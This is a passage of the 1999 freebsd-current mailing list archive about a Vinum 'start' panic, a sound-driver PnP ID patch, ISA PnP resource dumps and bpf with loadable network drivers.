> phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
> FreeBSD -- It will take a long time before progress goes too far!
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 13:39:42 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peak.mountin.net (peak.mountin.net [207.227.119.2])
	by hub.freebsd.org (Postfix) with ESMTP id A9EF81557C
	for <freebsd-current@FreeBSD.ORG>; Mon, 27 Sep 1999 13:39:37 -0700 (PDT)
	(envelope-from jeff-ml@mountin.net)
Received: (from daemon@localhost)
	by peak.mountin.net (8.9.1/8.9.1) id PAA06534;
	Mon, 27 Sep 1999 15:39:24 -0500 (CDT)
	(envelope-from jeff-ml@mountin.net)
Received: from dial-9.tnt1.rac.cyberlynk.net(209.224.182.9) by peak.mountin.net via smap (V1.3)
	id sma006532; Mon Sep 27 15:39:16 1999
Message-Id: <3.0.3.32.19990927153730.0204c420@207.227.119.2>
X-Sender: jeff-ml@207.227.119.2
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Mon, 27 Sep 1999 15:37:30 -0500
To: Brad Chisholm <sasblc@unx.sas.com>
From: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Subject: Re: System crash on "vinum start"
Cc: freebsd-current@FreeBSD.ORG
In-Reply-To: <199909271705.NAA43302@concours.pc.sas.com>
References: <19990925104024.B54407@freebie.lemis.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 01:05 PM 9/27/99 -0400, Brad Chisholm wrote:
>Well, I believe I discovered the source of my problem.  It turns out that 
>I did not have the correct devices configured in /dev for the component 
>drives.  I had da[0-3]e, but not da[0-3]s1e.  The documentation seemed to
>indicate that the da?s1? devices were not required, but once I made them,
>the crashes stopped.

Unless it's changed (again) you only need "/dev/da[0-3]" with no slice or
partition.

Not to surprising that it paniced with what appeared to be a "dedicated"
disk (ie da0e).



>It's interesting that I could bring the array up using the 'start'
>command from the vinum interactive prompt, and things would work
>properly with the missing devices, while issuing a direct 'vinum
>start' would cause a panic.

Expected behaviour.  From vinum.8:

 If no object names are specified, vinum scans the disks known to
 the system for vinum drives and then reads in the configuration
 as described under the read commands.  The vinum drive contains a
 header with all information about the data stored on the drive,
 including the names of the other drives which are required in
 order to represent plexes and volumes.

Similarly you could list only one drive for the read command in rc.conf and
it should bring up all drives.  Emphasis on the "could" and "should" here.

Doing a "dd if=/dev/da0s1e skip=8 count=6 | tr -d '\000-\011\200-\377'"
would show why, but then you should have seen this if read the section
abover kernel panics. ;)

>Even though this may have been a stupid user error, it would be nice
>if vinum could catch this without a system crash.  To that end, I'm
>including an updated traceback from my panic dump which has the vinum
>calls included.

The only time recently that I've seen it panic is when doing something
wrong.  Earlier in the year made pretty much the same mistake you have here.

>Thanks for providing such a useful piece of software!

Most certainly is.  Could use the functionality to add to a plex's size for
striped or RAID5, but a bit of planning cures that.  8-)


Jeff Mountin - jeff@mountin.net
Systems/Network Administrator
FreeBSD - the power to serve
'86 Yamaha MaxiumX (not FBSD powered)



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 15:11:48 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id AD9E2156BB
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 15:11:24 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id SAA26574;
	Mon, 27 Sep 1999 18:11:05 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id SAA01856;
	Mon, 27 Sep 1999 18:11:11 -0400 (EDT)
	(envelope-from myself)
Date: Mon, 27 Sep 1999 18:11:11 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Darryl Okahata <darrylo@sr.hp.com>
Cc: Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?)
Message-ID: <19990927181111.B1817@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926210537.86B141CC3@overcee.netplex.com.au> <199909270239.TAA25277@mina.sr.hp.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <199909270239.TAA25277@mina.sr.hp.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

God knows, I'll second that one... :-)  Hear, hear!

On Sun, Sep 26, 1999 at 07:39:27PM -0700, Darryl Okahata wrote:
>      I want to publicly thank Peter Wemm for posting a reply that is
> courteous, informative, and useful.  Recently, there has been too much
> noise in this and other FreeBSD lists/groups where other people have
> been abrupt to the point of rudeness.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 15:12:30 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id BBC6915634
	for <current@freebsd.org>; Mon, 27 Sep 1999 15:12:26 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id SAA26678;
	Mon, 27 Sep 1999 18:12:24 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id SAA01871;
	Mon, 27 Sep 1999 18:12:30 -0400 (EDT)
	(envelope-from myself)
Date: Mon, 27 Sep 1999 18:12:30 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Doug Rabson <dfr@nlsystems.com>
Cc: "Donald J . Maddox" <dmaddox@conterra.com>, current@freebsd.org
Subject: Re: New PnP code does not work for me(?)
Message-ID: <19990927181230.C1817@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926144715.A337@dmaddox.conterra.com> <Pine.BSF.4.10.9909271035070.322-100000@salmon.nlsystems.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <Pine.BSF.4.10.9909271035070.322-100000@salmon.nlsystems.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Thanks, Doug.  Peter already provided an equivalent patch, and I am
happy to report that it works like a charm (of course :-)).

On Mon, Sep 27, 1999 at 10:35:46AM +0100, Doug Rabson wrote:
> On Sun, 26 Sep 1999, Donald J . Maddox wrote:
> 
> > I couldn't get my PnP Creative AWE64G to work with the new PnP
> > code, so I tried compiling a kernel with pcm instead.  All I get is:
> > 
> > unknown0: <Audio> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
> > unknown1: <Game> at port 0x200-0x207 on isa0
> > unknown2: <WaveTable> at port 0x620-0x623 on isa0
> > 
> > It is my understanding that, with the new PnP code, I should not have to
> > specify the ports, IRQs, DMA, etc., right?  Here is the config I used:
> 
> It looks like an ID is missing for this card. Try this patch:
> 
> Index: sb.c
> ===================================================================
> RCS file: /home/ncvs/src/sys/dev/pcm/isa/sb.c,v
> retrieving revision 1.23
> diff -u -r1.23 sb.c
> --- sb.c	1999/09/07 08:42:44	1.23
> +++ sb.c	1999/09/27 09:34:04
> @@ -1258,6 +1258,7 @@
>      	case 0x31008c0e: /* CTL0031 */
>      	case 0x41008c0e: /* CTL0041 */
>      	case 0x42008c0e: /* CTL0042 */
> +    	case 0x44008c0e: /* CTL0044 */
>      	case 0x45008c0e: /* CTL0045 */
>  		s = "SB16 PnP";
>  		break;
> 
> --
> Doug Rabson				Mail:  dfr@nlsystems.com
> Nonlinear Systems Ltd.			Phone: +44 181 442 9037
> 
> 
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 15:40:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165])
	by hub.freebsd.org (Postfix) with ESMTP id 08C2E1561C
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 15:40:17 -0700 (PDT)
	(envelope-from culverk@wam.umd.edu)
Received: from rac7.wam.umd.edu (root@rac7.wam.umd.edu [128.8.10.147])
	by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id SAA00649
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 18:40:01 -0400 (EDT)
Received: from rac7.wam.umd.edu (sendmail@localhost [127.0.0.1])
	by rac7.wam.umd.edu (8.9.3/8.9.3) with SMTP id SAA02855
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 18:40:05 -0400 (EDT)
Received: from localhost (culverk@localhost)
	by rac7.wam.umd.edu (8.9.3/8.9.3) with ESMTP id SAA02851
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 18:40:05 -0400 (EDT)
X-Authentication-Warning: rac7.wam.umd.edu: culverk owned process doing -bs
Date: Mon, 27 Sep 1999 18:40:05 -0400 (EDT)
From: Kenneth Wayne Culver <culverk@wam.umd.edu>
To: freebsd-current@freebsd.org
Subject: bktr
Message-ID: <Pine.GSO.4.10.9909271839160.2712-100000@rac7.wam.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I'm happy to report that for my WinTV card, the bktr drivers are working
well with the latest changes. Keep up the good work.


=================================================================
| Kenneth Culver	      | FreeBSD: The best OS around.    |
| Unix Systems Administrator  | ICQ #: 24767726                 |
| and student at The          | AIM: AgRSkaterq	                |
| The University of Maryland, | Website: (Under Construction)   |
| College Park.		      | http://www.wam.umd.edu/~culverk/|
=================================================================



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 16:11:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id D1FF7154CE
	for <freebsd-current@FreeBSD.ORG>; Mon, 27 Sep 1999 16:11:48 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id IAA93759;
	Tue, 28 Sep 1999 08:41:31 +0930 (CST)
Date: Tue, 28 Sep 1999 08:41:31 +0930
From: Greg Lehey <grog@lemis.com>
To: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Cc: Brad Chisholm <sasblc@unx.sas.com>, freebsd-current@FreeBSD.ORG
Subject: Re: System crash on "vinum start"
Message-ID: <19990928084130.L46202@freebie.lemis.com>
References: <19990925104024.B54407@freebie.lemis.com> <199909271705.NAA43302@concours.pc.sas.com> <3.0.3.32.19990927153730.0204c420@207.227.119.2>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <3.0.3.32.19990927153730.0204c420@207.227.119.2>; from Jeffrey J. Mountin on Mon, Sep 27, 1999 at 03:37:30PM -0500
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Monday, 27 September 1999 at 15:37:30 -0500, Jeffrey J. Mountin wrote:
> At 01:05 PM 9/27/99 -0400, Brad Chisholm wrote:
>> Well, I believe I discovered the source of my problem.  It turns out that
>> I did not have the correct devices configured in /dev for the component
>> drives.  I had da[0-3]e, but not da[0-3]s1e.  The documentation seemed to
>> indicate that the da?s1? devices were not required, but once I made them,
>> the crashes stopped.
>
> Unless it's changed (again) you only need "/dev/da[0-3]" with no slice or
> partition.

It has changed (again).

> Not to surprising that it paniced with what appeared to be a
> "dedicated" disk (ie da0e).

It's surprising.  Good software shouldn't panic.  But this input is
valuable, because now I know where to look.

>> It's interesting that I could bring the array up using the 'start'
>> command from the vinum interactive prompt, and things would work
>> properly with the missing devices, while issuing a direct 'vinum
>> start' would cause a panic.
>
> Expected behaviour.  From vinum.8:
>
>  If no object names are specified, vinum scans the disks known to
>  the system for vinum drives and then reads in the configuration
>  as described under the read commands.  The vinum drive contains a
>  header with all information about the data stored on the drive,
>  including the names of the other drives which are required in
>  order to represent plexes and volumes.
>
> Similarly you could list only one drive for the read command in rc.conf and
> it should bring up all drives.  Emphasis on the "could" and "should" here.

I think you're misinterpreting what Brad was saying.  He was issuing
the same command, once during boot and once later.  I've had a number
of reports of this problem, but this is the first one that helps me
find the bug.

>> Thanks for providing such a useful piece of software!
>
> Most certainly is.  Could use the functionality to add to a plex's size for
> striped or RAID5, but a bit of planning cures that.  8-)

It's all in the pipeline.  But first we need Vinum on the root file
system.

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 16:54: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mg-20425427-16.ricochet.net (mg-20425427-16.ricochet.net [204.254.27.16])
	by hub.freebsd.org (Postfix) with ESMTP id 31FFB14E60
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 16:53:51 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by mg-20425427-16.ricochet.net (8.9.1/8.8.7) id QAA02799;
          Mon, 27 Sep 1999 16:53:26 -0700 (PDT)
Message-ID: <19990927165321.43140@hydrogen.fircrest.net>
Date: Mon, 27 Sep 1999 16:53:21 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: dmaddox@conterra.com
Cc: current@FreeBSD.ORG
Subject: Re: Demand-loaded network ifs and bpf
References: <19990926145328.A430@dmaddox.conterra.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <19990926145328.A430@dmaddox.conterra.com>; from Donald J . Maddox on Sun, Sep 26, 1999 at 02:53:28PM -0400
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Donald J . Maddox scribbled this message on Sep 26:
> I see that support has been added for demand-loading network
> if drivers.  I seem to recall that the last time I tried using
> network drivers as klds, nothing that required bpf to work
> was functional anymore, because bpf required that the device
> existed at the time it was initialized.  Is this still the case?
> Will bpf work for demand-loaded network klds?

you should do your own research such are reading the commit logs that
has to deal with it (remeber, you're suppose to be reading them if you
are running -current):
wpaul       1999/09/22 20:32:59 PDT

  Modified files:
    sys/pci              if_al.c if_ax.c if_dm.c if_mx.c if_pn.c
                         if_rl.c if_sf.c if_sis.c if_sk.c if_ste.c
                         if_ti.c if_tl.c if_vr.c if_wb.c if_xl.c
    sys/i386/isa         if_wi.c
  Log:
  As suggested by phk, unconditionalize BPF support in these drivers. Since
  there are stubs compiled into the kernel if BPF support is not enabled,
  there aren't any problems with unresolved symbols. The modules in /modules
  are compiled with BPF support enabled anyway, so the most this will do is
  bloat GENERIC a little.

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 18:35:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from shell7.ba.best.com (shell7.ba.best.com [206.184.139.138])
	by hub.freebsd.org (Postfix) with ESMTP id ECB9014E29
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 18:35:25 -0700 (PDT)
	(envelope-from spadger@shell7.ba.best.com)
Received: (from spadger@localhost)
	by shell7.ba.best.com (8.9.3/8.9.2/best.sh) id SAA00744;
	Mon, 27 Sep 1999 18:34:40 -0700 (PDT)
From: Andrew Sparrow <spadger@best.com>
Message-Id: <199909280134.SAA00744@shell7.ba.best.com>
Subject: Re: New PnP code does not work for me(?)
To: imp@village.org
Date: Mon, 27 Sep 1999 18:34:40 -0700 (PDT)
Cc: current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL38 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


> :      	case 0x31008c0e: /* CTL0031 */
> :      	case 0x41008c0e: /* CTL0041 */
> :      	case 0x42008c0e: /* CTL0042 */
> : +    	case 0x44008c0e: /* CTL0044 */
> :      	case 0x45008c0e: /* CTL0045 */

> What is CTL0043?  Seems like a logical progression to me :-)

> Warner

And me. Built-in sound on a Micron W6-Li SMP socket 8 board:

Card assigned CSN #2
Vendor ID CTL00f0 (0xf0008c0e), Serial Number 0xffffffff
PnP Version 1.0, Vendor Version 16
Device Description: Creative ViBRA16X PnP

Logical Device ID: CTL0043 0x43008c0e #0
Device Description: Audio

<SNIP>


Also, for the sake of completeness, an add-on ISA WaveBlaster card
(supposed to make an SB16 equivalent to an AWE32, not recognised
by any driver I've tried so far):

Card assigned CSN #1
Vendor ID CTL00a5 (0xa5008c0e), Serial Number 0x0001c333
PnP Version 1.0, Vendor Version 16
Device Description: Creative EMU8000 PnP

Logical Device ID: CTL0021 0x21008c0e #0
Device Description: WaveTable
TAG Start DF

<SNIP>


If anyone wants the rest of the output for any reason, let me
know.


Cheers,


AS.



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 18:37:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 0A1701565E
	for <current@FreeBSD.ORG>; Mon, 27 Sep 1999 18:37:20 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id VAA11967;
	Mon, 27 Sep 1999 21:37:18 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id VAA02609;
	Mon, 27 Sep 1999 21:37:23 -0400 (EDT)
	(envelope-from myself)
Date: Mon, 27 Sep 1999 21:37:23 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: current@FreeBSD.ORG
Subject: Re: Demand-loaded network ifs and bpf
Message-ID: <19990927213722.A2334@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926145328.A430@dmaddox.conterra.com> <19990927165321.43140@hydrogen.fircrest.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <19990927165321.43140@hydrogen.fircrest.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Thanks for the info.  I do read the commit logs, and I was aware
of this commit; however, it's not entirely clear to me if this
commit resolves the issue I'm talking about.

The problem, as I recall, had to do with the bpf pseudo-device
attaching to devices _only_ at boot time, so it would not see
any device loaded after boot.

The specific case for me was, I compiled a kernel with bpf support,
but no tun device.  Then, after 'kldload'ing if_tun.ko, attempting
to run 'tcpdump -i tun0' gave:

tcpdump: tun0: Device not configured

The tun0 commit that paralells the one you quoted, says:

---------------------------------------------------------------------------
...
Remove NBPF conditionality of bpf calls in most of our network drivers.

This means that we will not have to have a bpf and a non-bpf version
of our driver modules.

This does not open any security hole, because the bpf core isn't loadable
...
-------------------------------------------------------------------------

Maybe I'm just not reading enough into this, but this commit does not seem
to address the problem I had.  I never had a non-bpf version of the tun
module.

In any case, the issue is easily resolvable.  I will just build a kernel
with bpf and no tun0, and see if 'tun0 as kld' works with bpf :-)

On Mon, Sep 27, 1999 at 04:53:21PM -0700, John-Mark Gurney wrote:
> Donald J . Maddox scribbled this message on Sep 26:
> > I see that support has been added for demand-loading network
> > if drivers.  I seem to recall that the last time I tried using
> > network drivers as klds, nothing that required bpf to work
> > was functional anymore, because bpf required that the device
> > existed at the time it was initialized.  Is this still the case?
> > Will bpf work for demand-loaded network klds?
> 
> you should do your own research such are reading the commit logs that
> has to deal with it (remeber, you're suppose to be reading them if you
> are running -current):
> wpaul       1999/09/22 20:32:59 PDT
> 
>   Modified files:
>     sys/pci              if_al.c if_ax.c if_dm.c if_mx.c if_pn.c
>                          if_rl.c if_sf.c if_sis.c if_sk.c if_ste.c
>                          if_ti.c if_tl.c if_vr.c if_wb.c if_xl.c
>     sys/i386/isa         if_wi.c
>   Log:
>   As suggested by phk, unconditionalize BPF support in these drivers. Since
>   there are stubs compiled into the kernel if BPF support is not enabled,
>   there aren't any problems with unresolved symbols. The modules in /modules
>   are compiled with BPF support enabled anyway, so the most this will do is
>   bloat GENERIC a little.
> 
> -- 
>   John-Mark Gurney				Voice: +1 408 975 9651
>   Cu Networking					  
> 
>   "The soul contains in itself the event that shall presently befall it.
>   The event is only the actualizing of its thought." -- Ralph Waldo Emerson
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 19:38: 9 1999
Delivered-To: freebsd-current@freebsd.org
Received: from chai.torrentnet.com (chai.torrentnet.com [198.78.51.73])
	by hub.freebsd.org (Postfix) with ESMTP id B493514E85
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 19:38:05 -0700 (PDT)
	(envelope-from bakul@torrentnet.com)
Received: from chai.torrentnet.com (localhost [127.0.0.1])
	by chai.torrentnet.com (8.8.8/8.8.5) with ESMTP id WAA13886
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 22:38:04 -0400 (EDT)
Message-Id: <199909280238.WAA13886@chai.torrentnet.com>
To: freebsd-current@freebsd.org
Subject: 440fx builtin pnp `soundcard' doesn't work anymore under current
Date: Mon, 27 Sep 1999 22:38:04 -0400
From: Bakul Shah <bakul@torrentnet.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Running rvplayer crashes the system.  Catting a small .au
file works but a large one panics the system so I think the
problem may just be the drq difference.  I know a number of
people in the FreeBSD crowd have this system (a Toshiba
Equium 6200M -- a `good' buy 15 months back) so this can't be
an isolated problem.  I will be tracking this down but there
is some bootstrap time involved and may be someone has
already done this...

Thanks for any help!

-- bakul

I don't have the panic message handy at the moment but can
generate it if it'll help.

demsg reports:

    pcm0: <CS4236B> at port 0x534-0x537,0x388-0x38b,0x220-0x22f irq 5 drq 1,0 on isa0

My old /kernel.config used to say

    pnp 1 0 os enable port0 0x534 port1 0x388 port2 0x220 irq0 5 drq0 1 drq1 3

[note: this used to work with an older current from June]

Kernel config file has

    controller pnp0
    device pcm0

pnpinfo dump [note: this shows drq 1 & 3]

# pnpinfo
Checking for Plug-n-Play devices...

Card assigned CSN #1
Vendor ID CSC0b35 (0x350b630e), Serial Number 0xffffffff
PnP Version 1.0, Vendor Version 1
Device Description: CS4236B Audio

Logical Device ID: CSC0000 0x0000630e #0
Device Description: WSS/SB
TAG Start DF
Good Configuration
    DMA: channel(s) 1 
        8-bit, not a bus master, count by byte, , Type A
    DMA: channel(s) 0 3 
        8-bit, not a bus master, count by byte, , Type A
    IRQ: 5  - only one type (true/edge)
    I/O Range 0x534 .. 0x534, alignment 0x4, len 0x4
        [16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x8, len 0x4
        [16-bit addr]
    I/O Range 0x220 .. 0x220, alignment 0x20, len 0x10
        [16-bit addr]
TAG Start DF
Acceptable Configuration
    DMA: channel(s) 1 3 
        8-bit, not a bus master, count by byte, , Type A
    DMA: channel(s) 0 1 3 
        8-bit, not a bus master, count by byte, , Type A
    IRQ: 5 7 9 11 12 15  - only one type (true/edge)
    I/O Range 0x534 .. 0xffc, alignment 0x4, len 0x4
        [16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x8, len 0x4
        [16-bit addr]
    I/O Range 0x220 .. 0x260, alignment 0x20, len 0x10
        [16-bit addr]
TAG Start DF
Sub-optimal Configuration
    DMA: channel(s) 0 1 3 
        8-bit, not a bus master, count by byte, , Type A
    IRQ: 5 7 9 11 12 15  - only one type (true/edge)
    I/O Range 0x534 .. 0xffc, alignment 0x4, len 0x4
        [16-bit addr]
    I/O Range 0x388 .. 0x3f8, alignment 0x8, len 0x4
        [16-bit addr]
    I/O Range 0x220 .. 0x300, alignment 0x20, len 0x10
        [16-bit addr]
TAG End DF

Logical Device ID: CSC0001 0x0100630e #1
Device Description: GAME
TAG Start DF
Good Configuration
    I/O Range 0x200 .. 0x200, alignment 0x8, len 0x8
        [16-bit addr]
TAG Start DF
Acceptable Configuration
    I/O Range 0x208 .. 0x208, alignment 0x8, len 0x8
        [16-bit addr]
TAG End DF

Logical Device ID: CSC0010 0x1000630e #2
Device Description: CTRL
    I/O Range 0x120 .. 0xff8, alignment 0x8, len 0x8
        [16-bit addr]

Logical Device ID: CSC0003 0x0300630e #3
Device Description: MPU
TAG Start DF
Good Configuration
    IRQ: 9  - only one type (true/edge)
    I/O Range 0x330 .. 0x330, alignment 0x8, len 0x2
        [16-bit addr]
TAG Start DF
Acceptable Configuration
    IRQ: 9 11 12 15  - only one type (true/edge)
    I/O Range 0x300 .. 0x3f8, alignment 0x8, len 0x2
        [16-bit addr]
TAG End DF
End Tag

Successfully got 44 resources, 4 logical fdevs
-- card select # 0x0001

CSN CSC0b35 (0x350b630e), Serial Number 0xffffffff

Logical device #0
IO:  0x0534 0x0534 0x0534 0x0534 0x0534 0x0534 0x0534 0x0534
IRQ 5 0
DMA 1 0
IO range check 0x00 activate 0x01

Logical device #1
IO:  0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
IRQ 0 0
DMA 4 4
IO range check 0x00 activate 0x01

Logical device #2
IO:  0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
IRQ 0 0
DMA 4 4
IO range check 0x00 activate 0x00

Logical device #3
IO:  0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
IRQ 0 0
DMA 4 4
IO range check 0x00 activate 0x00


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 19:59:53 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10])
	by hub.freebsd.org (Postfix) with ESMTP id 515C915723
	for <freebsd-current@FreeBSD.ORG>; Mon, 27 Sep 1999 19:59:44 -0700 (PDT)
	(envelope-from jeremyp@gsmx07.alcatel.com.au)
Received: by border.alcanet.com.au id <40332>; Tue, 28 Sep 1999 12:56:43 +1000
Date: Tue, 28 Sep 1999 12:59:34 +1000
From: Peter Jeremy <jeremyp@gsmx07.alcatel.com.au>
Subject: Re: System crash on "vinum start"
In-reply-to: <19990928084130.L46202@freebie.lemis.com>
To: Greg Lehey <grog@lemis.com>
Cc: freebsd-current@FreeBSD.ORG
Reply-To: peter.jeremy@alcatel.com.au
Message-Id: <99Sep28.125643est.40332@border.alcanet.com.au>
MIME-version: 1.0
X-Mailer: Mutt 1.0pre3i
Content-type: text/plain; charset=us-ascii
References: <19990925104024.B54407@freebie.lemis.com>
 <199909271705.NAA43302@concours.pc.sas.com>
 <3.0.3.32.19990927153730.0204c420@207.227.119.2>
 <19990928084130.L46202@freebie.lemis.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
>  Good software shouldn't panic.
I wish _I_ could convince some people of this :-(.

> > Most certainly is.  Could use the functionality to add to a plex's size for
> > striped or RAID5, but a bit of planning cures that.  8-)
> 
> It's all in the pipeline.  But first we need Vinum on the root file
> system.
And whilst we're discussing wish-lists...  After several fights with
Digital/Compaq's Logical Storage Manager, it would be _very_ nice if
recovery could be done at the physical disk level (ie, "I've just
replaced da3 - autorecover all vinum volumes that used that disk"),
rather than having to recover each logical volume.  It would also be
nice if you could recover mirrored root/swap without needing to
unmirror and re-mirror them.

Peter


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 20:24:27 1999
Delivered-To: freebsd-current@freebsd.org
